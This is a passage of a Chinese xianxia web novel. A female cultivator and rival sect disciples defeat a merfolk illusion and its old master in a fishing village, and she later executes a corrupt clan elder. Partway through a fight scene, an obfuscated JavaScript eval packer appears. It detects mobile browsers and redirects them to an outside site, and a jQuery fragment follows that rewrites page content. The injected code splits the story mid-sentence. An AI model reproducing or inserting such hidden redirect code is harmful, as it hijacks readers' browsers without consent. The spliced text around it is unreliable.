想到此,她心中也释然了。毕竟,她三师妹去世时她在场,她四师弟离开宗门与她有关,她五师弟更是因她而死,她确实没有理由对她笑脸相迎。 徐听晚不愿争辩,只是抬头环顾四周,继续前行。 然而,明明是向前走,却仿佛又回到了原点。 她一边思索,一边再次尝试前行。 孟鹤皱眉看向月恒,责备道:“你失礼了。” 月恒不服,倔强地将头转向一侧,愤愤不平:“大师兄,为何要对她客气?是她亲手杀了五师弟!” 初千墨皱眉反驳:“月姐姐,你偏心师弟也要有个限度。若非他偷看人家,怎会遭此劫难?” 月恒闻言,眼眶泛红,傅亦舟心疼地轻拍她的背。 孟鹤打断道:“好了!对即对,错即错,此事已了。” 徐听晚一路上总觉得不对劲,却又说不出具体哪里奇怪。 直到她再次看到孟鹤四人在前方出现。 这是什么意思?难道遇到了鬼打墙? 40.渔村河神 “徐道友,我们不妨结伴同行。”孟鹤面无表情地伫立原地,本以为江月平已算是性情冷漠之人。 然而此刻看来,真正毫无情绪、冷若冰霜的,当属孟鹤这类人。他脸上几乎不见任何表情,唯有声音中透露出一丝情感。 回想起那次他认罪的情景,亦是如此,面无表情地跪倒在地,言语磕绊地认罪。 此人真是古怪至极,徐听晚仔细凝视着他的双眸,不禁问道:“你是面瘫?” 原本打算出口嘲讽,意图逼她离开的月恒,一时之间竟被噎住。一旁的傅亦舟则惊讶地微微张开嘴巴,这还是头一回有人敢如此对孟哥说话。 初千墨嘴角微微上扬,强忍住笑意,向旁边瞥去,轻咳两声以掩饰。 孟鹤伸手摸了摸自己的脸颊,淡淡道:“并非如此。” 徐听晚眉头紧蹙,仔细打量,发现他倒也人模人样。 他身着一袭白衣,长发如泼墨般散开,头上佩戴着一丝不苟的银冠羽带,腰间的银绣束带勾勒出修长的腰线。仙鹤绣式的储物袋简约而淡雅,皮肤白皙,眉眼浓重,浅色薄唇微微抿起,不愧是书卷上记载的第一美男,傲雪凌霜,气质非凡。 勉强算是配得上她的小师妹。 徐听晚对这类冷冰冰的男子并无太多好感,很难揣测其心思,更难从他那里得到什么好处。 “你说不是便不是吧,你们何时到来的?” 初千墨笑着开口:“徐道友,我们是昨晚抵达的,发现无论如何都走不出去,但书卷消息可以正常发送。而且,无论我们如何向村民打听,他们都三缄其口,一个字都不肯透露。” 她身着一身不太合气质的青色宗服,领口微微散开,青玉打造的发簪简单挽起头发,给人一种放荡不羁的感觉。 与她交谈,倒是让徐听晚感到几分轻松,她点了点头:“这里的人的确很奇怪,一点声响都没有。” 月恒烦躁地踱步至一旁,傅亦舟紧随其后,轻声细语地安抚着她:“阿月,白玉如蟾皆为空幻,青天指月亦非实境。旁人之语不过是表象的浮光掠影,何不亲自去观、去聆听那真实的人呢?” 听到这番话,月恒转过头,瞥了一眼徐听晚,无奈地叹了口气:“我终究无法如圣人般超脱,即便你的话颇有几分道理,我也需要时间去消化。何必急于让我去看、去听呢?” 言毕,她欲转身离去,傅亦舟连忙拉住她的手臂,急切地说:“那我们不靠近,只远远地看着,但我们必须一起走。这里如此诡异,大家若不结伴而行,实在太过危险。” 月恒轻轻扯了扯他的衣袖,带着几分委屈:“那我们就跟在他们后面吧。” 傅亦舟连忙点头应允。 徐听晚用余光留意着两人的举动,虽然并未刻意偷听他们的对话,但从那些零星的言语和动作中,也能大致猜出他们的交谈内容。 傅亦舟身着一袭青色宗服,头戴简单的青玉银冠,半束的发丝显得他温润如玉,一副书生气十足的模样。而一旁的月恒,则是一身洁白无瑕的宗服,两根银簪简单地将发丝绾起,两鬓的发丝轻轻垂落,眉眼间既有温柔也有愁绪。 这两人显然是一对道侣,腰间的储物袋一个绘着远山,一个绣着白云,看向对方时满是宠溺与无奈。 徐听晚迅速地对四人做了一番分析,感觉他们并无恶意,十分纯粹,甚至显得有些傻。 “注意!今晚切莫外出!” 一声响亮的警告划破夜空,一位老者手提灯笼,步履蹒跚地穿梭在街道之上,四处传扬着这一消息。闻此,四周的村民纷纷行动起来,紧张地躲进了自家的屋舍。 徐听晚见状,快步上前拦住了那位老者,礼貌地问道:“老爷爷,请问今晚为何不能出门呢?” 老者微微抬起眼帘,花白的眉毛几乎遮住了眼帘,稀疏的白发随风飘扬,脸上的老人斑和皱纹如同无数只深邃的眼睛,虽长相略显吓人,但神态慈祥,嘴角挂着一丝微笑。 “你是新来的吧?我们村子这些年一直有这个规矩。”老者缓缓说道,“他们让我去看那石碑上的字,说是河神的旨意,让我看到什么就四处传扬。这是大家体谅我年迈孤独,特意给我安排的一份轻松差事。每个月,村长都会从村民那里集资,给我一些生活所需作为酬劳。” 徐听晚听后,略作思索,从储物袋中取出一颗中品灵石,递给老者道:“多谢老爷爷告知,我还想打听一下,附近是否有房屋出售或有空缺?毕竟河神说今晚不能出门,我们初来乍到,还没有落脚之处。” 老者推辞道:“小姑娘,这灵石就不用了,我这辈子都花不完。你们是一起的吧?”他抬眼看了看徐听晚身旁的四人,“如果不嫌弃,去我那茅草屋住一晚如何?” 孟鹤刚想答应,却被徐听晚制止了。她将灵石硬塞到老者手中道:“不用了,老人家,这灵石您留着。如果今晚村里不能出门,我们就不在此逗留了。” 对于普通人而言,一颗中品灵石足以支撑几十年的生活,但在修士眼中,却连一张中品符咒都换不来。 孟鹤面露疑惑:“可是……” 徐听晚打断了他,猛地掐住他的胳膊道:“老爷爷,我们走了。” 说完,她拉着孟鹤离开了。老者低头看着手中的灵石,轻声说道:“谢谢你们,一路小心!” 初千墨微笑着向老人挥手告别,孟鹤则低头瞧着徐听晚正紧紧拽着他的臂膀,眉头紧锁,似乎在深思着什么。他压低声音问道:“徐道友,可是察觉到了什么异样?” 徐听晚猛地松开他的臂膀,眉头皱得更紧:“我并未发现什么异常,只是心中有些疑虑。这位老人家生活如此艰辛,却还能如此热心地收留我们,并且还不肯接受我的灵石。” 月恒轻轻哼了一声:“并非人人都如你所想的那般不堪。话说回来,自己是什么样的人,往往就会以同样的眼光去看待别人。” 徐听晚懒得理睬她,继续低头沉思着老人的话语,以及他们不能出门的原因。 为何不能出门? 这妖兽究竟意欲何为? 这所谓的鬼打墙,其原理究竟是什么? 不知不觉间,他们又一次走完了一圈。此时,天色已近黄昏,一个面容慈祥的老妇人打开了门,温和地说道:“你们快些进来吧,若是天黑还不乖乖待在屋子里,河神会生气的!” 月恒抬头望向老妇人,点了点头:“多谢夫人。”说完,她便拉着傅亦舟走了进去。 初千墨瞥了徐听晚一眼,开口问道:“徐道友,要一起进去吗?” 徐听晚的目光紧紧锁定在那个温柔的女人身上:“你这么年轻,为何要待在这个小渔村里?” 月恒刚想开口反驳,却被傅亦舟挡在了身前:“徐道友此言差矣,每个人都有自己的选择,并非每个人都要去争名夺利。” 徐听晚凝视着那个温柔和善、满脸笑意的女人,最终没有开口。 女人睁开眼睛,看着她叹了口气:“唉,我不过是嫁鸡随鸡,嫁狗随狗。他在这里,我便也在这里。” 徐听晚找不出什么反驳的理由,但她生性多疑,不会轻易相信别人。她看着月恒与傅亦舟,说道:“你们愿意留在这里,便留在这里吧。我还想再看看。” 孟鹤驻足于门口,目送着徐听晚一步步渐行渐远,心中深知自己绝不能将师妹与傅亦舟二人放在这里。 初千墨在短暂的犹豫之后,毅然决然地追随着徐听晚的脚步,她对她充满了信任。 “你为何不随孟鹤一同前去?”徐听晚问道。 “道不同,不相为谋。”初千墨轻轻晃动着手中的宜阳剑,继续说道,“你我双剑合璧,又有何惧?” 徐听晚微微一笑,随即眉头微蹙,疑惑道:“你瞧这地上的雪,为何回头可见脚印,而前方却一片空白?” 初千墨闭目沉思片刻,道:“常理而言,人们自然不会认为未走过的路会有脚印。” 徐听晚轻轻摇头,道:“你未明我意,我们分明已在此地徘徊多遍,周围的房屋却未曾有丝毫变化……” 她话音未落,像是明白了什么,猛地停下脚步,疾步踏入一旁的院落,一脚踹开房门,所见之景果然如她所料。 夜色悄然降临。 徐听晚将周围的房屋一一打开,所见画面无一例外,皆是一般无二。 初千墨紧锁眉头,不解道:“这究竟是何意?为何这些房屋之上都绘有这般诡异的血符?” 徐听晚指着血符解释道:“这些不过是江湖术士售予普通人的辟邪之物罢了。” “咦?那先前坐在门外之人此刻又去了何处?我们分明亲眼见他们进入屋内。”初千墨边说边步入屋内,大声呼唤。 “别!”徐听晚话音未落,初千墨已踏入屋内,瞬间变得异常安静,呆愣地转过头看向徐听晚。 “妖兽!受死吧!”言罢,她拔出宜阳剑,身形一闪,直刺而来。 徐听晚迅速拔出判决剑,将逼近的威胁挑开,眉头紧锁,身形敏捷地向后退去。 就在她转身的刹那,一枚形似飞镖的物体已近在咫尺。关键时刻,她的右手被孟鹤猛地一扯,那物体擦身而过。徐听晚定睛细看,发现那并非飞镖,而是如羽毛般大小的鱼鳞! 她向右望去,只见孟鹤紧紧拽着她的手臂,身后则是同样拔剑疾冲而来的月恒和傅亦舟。 “是鲛人!”孟鹤急声道,“那女子已化作鲛人,她的声音能迷惑修士,扭曲感知。” 徐听晚眉头紧蹙,疑惑道:“为何你未受影响?” “那屋子里的血符是用她的血绘制的,加上气味才会完全扰乱人的神识。”孟鹤解释道。 两人迅速跑进一条狭窄的小巷,在这方寸之地左闪右避。 “你为何知晓这些?”徐听晚压低声音问道。 “我是在海边长大的,对鲛人颇为熟悉。”孟鹤面无表情地回忆道,“小时候,有个假修士装神弄鬼,说这血符能保佑渔民捕获更多鱼,还免费赠送。许多人信以为真,将其挂在家中。不久之后,人们变得疲惫不堪,性情暴躁,甚至自相残杀。最终,鲛人将所有人吞噬。幸好师父及时出现,救下了我和妹妹,将我们带回玄天剑宗。我们的爹娘早年出海遇难,我们一直在小叔家寄住。因为住在柴房,我们才侥幸逃过一劫。只可惜,当年师父只抓住了鲛人,未能擒获那个修士。” 孟鹤平静地讲述着这段悲惨往事,众人皆能体会到住在柴房所蕴含的辛酸,而他却显得如此淡然。 徐听晚环顾四周,神色警惕地问道:“我们接下来该怎么办?” 孟鹤压低声音,语气坚定:“找到那个鲛人,将她除掉。” 徐听晚闻言,微微颔首,称赞道:“你还挺可靠的。” 孟鹤面无表情地轻轻拍了拍她的头,歉意地说:“抱歉,你让我想起了我妹妹。” 徐听晚一时愣怔,随即皱眉拍掉了他的手:“别随便碰我的头,你的修为可还不如我呢。” “抱歉,是我唐突了。”孟鹤拱手致歉,随后取出苍穹剑,继续说道,“我来吸引他们的注意,你去寻找鲛人。” 徐听晚点了点头,只见孟鹤走出小巷手持长剑,挡下了三人的攻击,而她则趁机后退,逐渐远离战场。徐听晚小心翼翼地前行,脚下一蹬,手扶屋檐,轻巧地踏上了房顶。站在高处,她的视野更加开阔,便于寻找目标。 她尝试着御剑飞行,却意外发现根本无法前行,只能无奈地原地徘徊。 “这究竟是为何?”徐听晚心中疑惑,脚下轻轻一蹬,跃上了另一座屋顶,望着眼前绵延不绝的屋宇,不禁有些愕然。 “怎会有如此多的房屋?” 因为她无法进入屋内,一旦那鲛人藏于其中,她便无从查探。 “既然如此,那我便只好得罪了。”徐听晚取出符笔,一张张珍贵的上品爆裂符自储物袋中翩然飞出,同时,空白符纸也环绕在她周身。她手法娴熟,储物袋中的符咒一旦用完,便立即以手绘制新的符咒。 三张上品爆裂符同时引爆,一座木屋瞬间化为乌有,连带周围的一大片木屋也都被摧毁,然而,鲛人的身影依旧未见。她并未气馁,继续以爆裂符轰炸。 大不了,就将这里的木屋全部炸毁,她誓要找出那鲛人的藏身之处! 徐听晚的发丝在风中肆意飘扬,雷灵力在她周身汹涌澎湃。 不知过了多久,鲛人的身影终于显现,她正紧紧抓着孟鹤的衣领,企图将他拖入屋内。而就在这时,徐听晚恰好将那座木屋炸毁。 鲛人怒目而视,发出一声震耳欲聋的怒吼,抬头瞪视着徐听晚。 “终于找到你了。”徐听晚眼神一凛,果断拔出判决剑,一剑刺向鲛人。 鲛人迅速将孟鹤拉到自己身前,挡作盾牌,厉声道:“你要伤害他吗?” 徐听晚手持长剑,剑尖稳稳未动,径直穿透了孟鹤与鲛人的胸膛。 “你以为我是傻子吗?难道停下来等着你来杀我?”徐听晚冷冷说道。 鲛人一时无言,她从未见过如此果决的修士。 就在这时,一把长剑猛然袭来,徐听晚迅速抽出判决剑,举剑相迎。 竟是那位老人! “老家伙,你还真是个祸害,帮这鲛人究竟能捞到什么好处?”徐听晚怒喝道。 她一脚将老人踢开,身形向后急退。 “他不过是我的宠物罢了,宠物饿了,总得找点东西喂它。”老人和颜悦色地笑道,这让徐听晚愈发觉得恶心。她深知老人并非御兽修士,这“宠物”一词背后的含义不言而喻。 “那么,你宠物的妖丹和你的项上人头,我就一并收下了。”言罢,徐听晚脚下发力,猛地跃起。 “万锋剑法,第一式——寻刃决!” “第二式——隐现之刃!” “第三式——暗月!” 两人剑光交错,影影绰绰,一时之间难辨胜负。 “快帮我!”老人朝着鲛人怒喝一声,那原本呆愣的鲛人瞬间回过神来,发出了一连串奇异的声响。孟鹤瞅准时机,猛地一掌推开鲛人,手臂高举,苍穹剑应声归位。 徐听晚用眼角的余光瞥见初千墨正从后方悄然接近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149445|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她躲避不及,只能奋力震开老人的长剑,却也因此左肩被宜阳剑深深刺入,火灵力的剧烈燃烧让她不禁闷哼一声。 看来许久未见,众人的修为都有了不小的长进。 徐听晚左手猛地拍向左肩,宜阳剑被震出体外,雷灵力的冲击让初千墨全身一阵酥麻,踉跄后退,脸上满是惊愕。 傅亦舟趁此机会,直月霜剑直取她面门,徐听晚微微皱眉,毅然采用了伤敌一千自损八百的战术,左手紧紧握住月霜剑的剑刃,一脚狠狠踹向傅亦舟的面庞。 傅亦舟被踢得倒飞而出,雷灵力让他的起身动作变得异常缓慢。 然而,就在她转身的瞬间,月恒的赋怜剑已刺入她的胸口。 老人趁机向她心口刺来,她拼尽全力挥出一道剑气,将月恒击飞,侧身躲避,但老人的剑还是划破了她的腹部。 “真是成事不足,败事有余。”徐听晚吐出一口鲜血,语气中满是无奈与愤懑。 她猛地一把攥住了老人试图往里推的剑锋,随即抬手,一剑凌厉地划向老人的脖颈,老人松开手里的剑向后退去。 “都这么大岁数了,才元婴初期?” 老人轻蔑地哼了一声,企图召回自己的长剑,却发现它纹丝不动,原来被徐听晚紧紧攥住了。 此刻,她的身上已经插着两把剑,但她却显得从容不迫,缓缓将老人的剑拔出。全身灵力汹涌澎湃,浅黄色的衣衫被鲜血浸透,周身隐隐闪烁着紫色的电光。 老人瞪大眼睛,难以置信地看着她,“你疯了。” 他原本以为这些人会被他轻易吃下,没想到却遇到了这样一个疯子。 徐听晚用左手紧握着老人灵剑的剑刃,不给他任何召回的机会,然后用判决剑紧紧抵住左手老人的剑刃,她的眼神冰冷如霜,左手鲜血淋漓,却毫不退缩。她心一横,猛地用力,老人的剑在判决剑下应声而断,她随即甩掉了深深嵌入左手的剑刃。 老人瞪大了眼睛,满脸不可思议,本命灵剑被折断,他口吐鲜血,颓然倒地。 就在这时,身后又有两把灵剑刺入,孟鹤一剑穿透了鲛人的胸口,随后快步赶来,一脚踢开了在徐听晚身后的初千墨和傅亦舟。 “真是倒霉,竟然遇到了你们。” 徐听晚吐出一口涌上心头的鲜血,神色依然坚毅。 老人难以置信地望向鲛人,只见鲛人全身布满了镶嵌着冰渣的剑伤,心口处更是有一个触目惊心的巨大冰洞,连血液都无法外流,只能无助地回流体内。妖气四溢,现场一片混乱,鲛人的全身经脉仿佛爆裂开来。 随着鲛人的逝去,周围的幻境也缓缓消散。他们低头查看地上的脚印,这才恍然大悟,原来他们一直在原地打转。初千墨三人也逐渐恢复了清醒。 孟鹤猛地一脚踹在老人的膝盖上,成功将其制服。 徐听晚指了指自己身上的三把剑,语气平静:“你们还要与我争夺妖丹吗?” 初千墨连忙召回自己的剑,而徐听晚则吐出一口鲜血,身体显得极为虚弱。月恒想要召回自己的手也顿时停住,他走上前,缓缓拔出自己的灵剑以及傅亦舟的灵剑。 孟鹤将一颗元婴后期的鲛人妖丹扔向徐听晚。 她轻笑一声,还好这四个都是老实人。 月恒略作思索,随后迈步上前,将一颗元婴中期境界的妖丹轻轻放在她的掌心之中。这颗妖丹本是她为了突破金丹,晋升元婴而精心准备的。她的话语中带着一丝不自然的别扭:“别多虑,我一向恩怨分明。” 说完,她仿佛生怕徐听晚会将妖丹归还,连忙向后退去。而徐听晚只是紧锁眉头,吐出一口鲜血,随后将两颗妖丹小心翼翼地收入储物袋中。 初千墨见状急忙上前,想要搀扶徐听晚。然而,徐听晚只是轻轻摆了摆手,声音微弱道:“现在知道扶我了?送我回梅家府邸……” 话音未落,她便昏厥了过去。 此时,月恒胸口被徐听晚剑气所伤之处开始传来阵阵剧痛,她方才因愧疚而未能及时察觉。 初千墨毫不犹豫地横抱起徐听晚,她的双手忍不住微微颤抖,但这并非因为徐听晚体重的缘故,而是因为她刚才被徐听晚的雷灵力震得至今双手仍有些无力。 傅亦舟摸了摸自己的脸颊,只觉一阵刺痛传来。不摸还好,一摸之下不禁吓了一跳,原来他的脸已经肿了起来,轻轻一碰便疼痛难忍,连皱眉都感到十分疼痛。 初千墨咬紧牙关,努力让自己的手保持稳定,她叹息道:“徐道友这下手,可真是够狠的。” 孟鹤低头看了看自己胸口上的剑伤,心中默默认同,脸上却是一片漠然。 他向来不喜欢过多地展露自己的情绪,这源于他童年的经历。小时候挨饿,他总会忍不住哭泣,而哭泣就会受到叔母的责打,久而久之,他的脸上便再无多余的表情。 徐听晚缓缓睁开眼睛,只见初千墨端坐在她的床前,她不由自主地往后挪了挪身子,做出防备。 “徐道友,你终于醒过来了!”初千墨的声音洪亮,即便徐听晚心中已有所准备,仍被这突如其来的声响吓了一跳。 她疲惫地眨了眨眼,瞥见一旁的石观明正怒目圆睁地盯着她,手中的药杵被他狠狠地捣着,发出“咚咚”的声响。 “大师姐,你这事还真是与三师兄相比有过之而无不及啊。”石观明边说边用力地捣了一下药,发出更为沉重的闷响。 温乐天则在一旁阴阳怪气地附和道:“就是,大师姐,还说我呢,你自己不也是行事鲁莽。” 徐听晚瞥了一眼初千墨,淡淡道:“若不是倒霉地碰上几个拖后腿的,我一个人早就解决了。” 初千墨闻言,尴尬地笑了两声,拱手道:“那我就不多待了,已经在这里待了三天,我该回去了。谢谢徐道友出手相助。”随后,他又向其他人拱手道:“打扰了,我就此道别。” 其他人也纷纷拱手相送。 徐听晚拿起一旁的储物袋,欲取出里面的两颗妖丹。石观明连忙出声提醒:“大师姐还是先养好伤,等伤势痊愈再考虑吸收这妖丹吧。” 柳清云猛地一锤药杵,严肃道:“大师姐,我会盯着你的。”他和善一笑,徐听晚心虚地将两颗妖丹放回了储物袋。 温乐天走上前,坐在床边,假装惊讶道:“当时大师姐被人抱着回来的时候,我真是第一次见,被人捅了这么多剑,竟然还有气。” 徐听晚伸手扯了扯他的脸颊,笑道:“就你话多。” “唉唉唉,大师姐,我错了,别揪我的脸了!”温乐天求饶道。 “你大师姐我命硬得很。”徐听晚蹙眉道。 “错了,错了~”温乐天连连道歉。 石观明叹了口气,郑重道:“云石秘境对决前,大家都不要单独出门了。” 众人纷纷点头表示赞同。 通过留影石目睹一切的江月平终于放下心来,他努力平复自己刚才暴乱的灵力。此刻他才意识到,以自己目前的修为根本无法打破这个阵法,除非等它灵力耗尽,或是他吸收里面的灵力,提升修为将其打破。 41.约定 徐听晚在伤势痊愈之后,便成功吸纳了两颗妖丹,修为晋升至元婴中期,已近乎巅峰之境。 这段时日,每当她打坐完毕,总能见到柳清云手捧一大束鲜花,在一旁细心地修剪。他会将花中的尖刺拔掉一半,再缓缓磨平,枯枝败叶也被他修剪得一干二净。完成这一切后,他便满怀欣喜地抱着花匆匆离去。 今日亦是如此。 “你每日这般忙碌于这些花卉,究竟所为何来?”徐听晚停下练剑的动作,望着他问道。 柳清云笑眼盈盈,从怀中取出一束暖玉花,递到徐听晚面前:“大师姐,今日我于街上偶遇卖暖玉花的商贩,特地买来赠予你。你可找个药瓶,注入些许清水,再撒上这包粉末,花儿便能长久保鲜呢!” 徐听晚接过花束与粉末,轻声自语:“究竟何事,让你如此开心。” 温乐天在一旁小声嘀咕:“他这段时间每天都笑得像个傻子。” 柳清云闻言猛地回头,本以为他会反驳温乐天,不料他却嘿嘿一笑:“我已向街上的商贩打听过了,他们过几天会推出一种小盆栽式的白兰花,到时候我定要为三师兄带一盆回来。” 说罢,他便抱着花匆匆离去。 徐听晚与温乐天交换了一个眼神,温乐天无奈地耸了耸肩。随后,徐听晚依照柳清云的指示,小心翼翼地将手中的花朵摆放整齐,置于书桌上。 “听晚。”柳清云的身影刚消失不久,梅遇卿的声音便接踵而至。 徐听晚步出屋外,只见梅遇卿站在门口,眉头紧锁,气喘吁吁。 “怎么了?”徐听晚关切地问。 梅遇卿走近她,勉强挤出一丝笑容:“前两日,我发现二叔家私自受贿,将灵药田划分给了大户人家。今日我打算为他们全家的行为据理力争,希望你能陪我一起,作为见证。” 徐听晚爽快地点了点头:“好,现在就去吗?” 梅遇卿轻轻推她回房,笑道:“你若穿着练剑的束身服去,我可真要生气了。” 徐听晚拍了拍她的手背:“我是看你着急嘛,那我这就去换衣服。” 换好衣裳后,徐听晚走出房间,恰好看见梅遇卿正低头整理着腰间的浅紫色桔梗。 “这桔梗真漂亮。”徐听晚微微一笑。 “原本想簪在头上,但觉得太过显眼,就改别在了腰间。等人多的时候,我可以用袖子遮掩,等事情办完,我再把它推到显眼的位置,就能完整地欣赏这花了。”梅遇卿满心欢喜地说。 徐听晚赞同地点了点头,两人一同向外走去。此时,温乐天正在院子里打磨着什么。徐听晚随口问道:“乐天,你二师兄呢?” 温乐天头也不抬,大声回答:“二师兄带着浅云去后山杂林里吃妖兽去了。” “哦。”徐听晚轻声回应。 “梅道友!”柳清云的声音紧接着响起,她手持一大束鲜花,兴致勃勃地说道:“你是特意来找我的吗?” 梅遇卿猛地瞪大了眼睛,脸颊上泛起一抹红晕,娇嗔道:“谁说我是来找你的,我是来找听晚的!” 阳光从柳清云背后洒下,他的头微微倾斜,依靠着那束鲜花,发丝在光芒的照耀下熠熠生辉。他露出洁白的牙齿,笑容灿烂:“好啦好啦,我绕了好大一个圈子,问了一路的人,还遭了不少白眼,这才好不容易找到这里,你就别凶我了嘛。” 他的声音中带着一丝撒娇的意味,梅遇卿瞪大了眼睛,有些手足无措地摸了摸脸颊:“谁凶你了,等下我帮你出头。你把花放到我房间去吧。”说完,她将家主令牌递给了柳清云。 柳清云接过令牌,嘴角勾起一抹浅笑:“好,梅道友,你可一定要记住我们的约定哦!” 言罢,他转身离去。 徐听晚凝视着面前的两人,经过长时间的深思熟虑后,试探性地开口问道:“你们……已经在一起了吗?” 梅遇卿听到这句话,刚好吸气不慎被呛,连咳了两声。她涨红了脸,神色变得严肃起来,急忙否认道:“听晚,你在胡说什么呀!我们只是朋友。” 徐听晚眨了眨眼,略显尴尬地回应道:“哦……好的。” 梅遇卿在一旁慌忙解释,而徐听晚的目光却已经投向了前方,轻声说道:“好像已经到地方了。” 梅遇卿闻言,立刻拍了拍身上的尘土,换上一副沉静而严肃的表情。旁边的侍卫高声宣布道:“梅家少家主到!” 徐听晚紧随其后,只见两旁站立着一排排身着统一服装的人,他们拱手行礼,态度恭敬。两人继续往里走,踏上了高台。台下坐着众多男女老少,而台上则跪着一排身着华丽衣裳的人,他们被侍卫紧紧按压着。 “梅炘,你可清楚自己所犯之罪?”梅遇卿的声音沉稳而有力,每一个字都如同重锤,直击人心。 徐听晚静静地站在梅遇卿身后,自然而然地吸引了众多世家子弟的注意。那些炽热的目光让她略感不适,她不经意地瞥向身旁的两名护卫,却发现他们也在偷偷打量自己。无奈之下,她只得将视线投向正缓缓抬头的梅炘。 梅炘的双目充血,显得异常癫狂,他张开嘴巴,怒吼道:“哈,你正在研制的……”然而,他的话还未说完,徐听晚便已果断出手,刀光一闪,梅炘的人头便应声落地,鲜血四溅。 梅遇卿目睹这一幕,不禁瞪大了双眼,心中暗自庆幸徐听晚出手果断。梅炘显然是想要揭露她们正在研究驱魔丹药的事情,一旦此事曝光,魔教定会将矛头指向他们。 梅炘的头颅滚落到徐听晚的脚边,她毫不犹豫地一脚将其踢开,眼神中透露出决绝与冷酷,露头就秒。 徐听晚面无表情地扫视着众人,那些原本试探的目光瞬间收敛。她深知梅家子弟大多心地善良,不愿自己的举动吓到他们,于是收起长剑,缓缓后退。 随着审判仪式的结束,梅炘的夫人和孩子被剥夺了世家子弟的身份,而那些涉嫌贿赂之人也全部被押入大牢,等待家产被清算并收回。 事情结束后,徐听晚若有所悟地与梅遇卿并肩返回。 她忍不住轻声一笑,说道:“法规,似乎只是为普通人设立的框架。” 梅遇卿轻轻拍了拍她的肩膀,笑容中带着几分深意:“我并不认为修为高深之人就全是恶徒,若都是坏人他们之中也不会安宁,必有争斗,最终也未必会有好下场。” 徐听晚转头看向梅遇卿,少女的脸庞在夕阳余晖的映照下,宛如落日中的神女,那份轻松与淡然的神情,让她感到几分熟悉,仿佛看到了……曾经的自己。 她嘴角微微上扬,凝视着少女那意气风发的模样,心中反复咀嚼着梅遇卿的话语。就在这一刻,她们仿佛置身于两个截然不同的世界。究竟是从何时起,她开始变得沉默寡言了呢? 或许,是在她完全融合灵魂,接收到那些更为具体的记忆之后。 或许,是在她反复确认,自己好不容易拥有的爹娘,其实并不爱自己之后。 又或许,是在她无数次推演未来,却发现每一个可能的走向都并不美好之后。 既然结果尚未尘埃落定,那她便选择那条最为艰难,却收益最大的道路。 “生,我所欲也;义,亦我所欲也。二者不可得兼,舍生而取义者也。”梅遇卿浅笑盈盈,大眼睛闪烁着光芒,声音柔和而坚定,如同春日里拂面的晚风,令人心旷神怡。 “你和清云之间究竟有何约定?”徐听晚嘴角含笑,打趣地问道。 梅遇卿闻言,神色立变,略显羞涩地笑了笑,略作思索后答道:“我们相约去城中那座最高的花云楼上共赏星辰,呃……如果听晚你也有兴趣,不妨一同前往。” 徐听晚轻轻摇头,摆手拒绝道:“我就不去了。”她眼神微眯,浑身上下透着一股轻松自在的气息,随意地将手负于背后。 与心灵纯净之人交谈,思绪竟也能暂时得以放空。 “好了好了,听晚,你何时也变得这般爱打趣人了。”梅遇卿佯装嗔怒,瞪了她一眼,随后转身朝另一条路走去。 “再见,嗯……看星星有何趣味,你不如让他将星辰摘下赠予你。”徐听晚半开玩笑地说道。 梅遇卿闻言,摇头笑道:“真没想到,徐道友竟还有如此一面。” 徐听晚轻笑两声,转身继续前行,刚到门口便见柳清云正忙着整理发冠,她开口问道:“三师兄,你看看我这身装扮如何?” 温乐天头也不抬,随口答道:“嗯,很不错。” 柳清云闻言,兴奋地向挥了挥手,刚好看见走回的徐听晚,顺便也向她挥了挥收,喊道:“那我先走了!” 徐听晚缓缓走到温乐天的对面,慢慢坐下,看见他正细心打磨着一块红玉,似乎在精心制作着什么。 “忙了这么久,你到底在做什么?”她好奇地问道。 温乐天轻笑一声,回答道:“我这腰间的玉环,我怕它哪天不小心碎了,所以打算做一个镶嵌着红玉的小型防护绳来替换现在绑着的普通绳子。这个红玉绳子,只需稍微动用一点灵力,就能形成一个坚固的小型防护罩,再加上灵力护体,可以说,就算我死了,这玉环也绝不会碎。” 徐听晚闻言,微微点了点头,目光不曾离开他手中的红玉。只见他小心翼翼地将打磨好的红玉一点点镶嵌在新编织的红绳上,他的脸上没有丝毫难过的神情,依旧是那副笑嘻嘻的模样。 她就这样静静地注视着他,过了好一会儿。 温乐天终于完成了手中的作品,将新的红绳绑住玉环,挂在腰间,然后得意洋洋地问道:“怎么样,大师姐,我做的还不错吧?” 徐听晚沉默片刻,才缓缓说道:“确实挺好看……乐天,你为什么看起来一点也不伤心呢?” 即便是她,在得知陆若音的事情后,也半天没有缓过神来。她从未想过一个人能做到如此地步。她并没有认出温乐天是她小时候的玩伴,在她眼中,温乐天只是一个与她有过恩怨的陌生人。她本可以置身事外,无人会指责她的冷漠,但她却偏偏选择了舍生取义。 这种人在另一个世界里,她只在新闻中见过,没想到在这里还能亲眼见到。 “大师姐,难道伤心非得要哭泣,开心就必须展露笑颜吗?譬如你与清云,若遇喜事,你只是淡然浅笑或是轻松歪头,以笑眼相待,而清云则会因激动而笑出声。”他整理完打磨时掉落的碎玉,抬头望向徐听晚。 “时而觉得大师姐清冷孤傲,时而又觉得大师姐随和平易,看似与二师兄有几分相似,却又不尽相同。” 徐听晚嘴角微扬,单手撑头,目光落在他身上,笑道:“怎么聊着聊着又扯到我身上了?” 温乐天收起笑容,认真地凝视着她:“二师兄温柔体贴,但性情淡泊,大师姐也有几分相似,但二师兄行事低调,宽宏大量,而大师姐行事则颇为高调,善于以情绪调动他人,从而掌控局势。” 徐听晚放下嘴角,半垂眼眸,直视他的眼睛:“黑阁前任阁主果然非同凡响。” 温乐天一时语塞,她竟然知晓这些是他母亲告诉他的。 明明大师姐年龄与他相仿,却心思如此深沉。 “乐天,你母亲可曾告诉你,林流华为何要置我于死地?” 温乐天思索片刻,答道:“我母亲说,林流华曾来找她哭诉,但那时她尚无杀意,直到有一天,林流华突然告诉她,她一定会找机会除掉你。” 徐听晚眉头紧锁,继续追问:“你母亲可知林流华此刻身在何处?” “在林家,她似乎有大动作。” 徐听晚点了点头:“等我父亲闭关结束后,将我并非林流华亲生女儿之事传扬出去。” 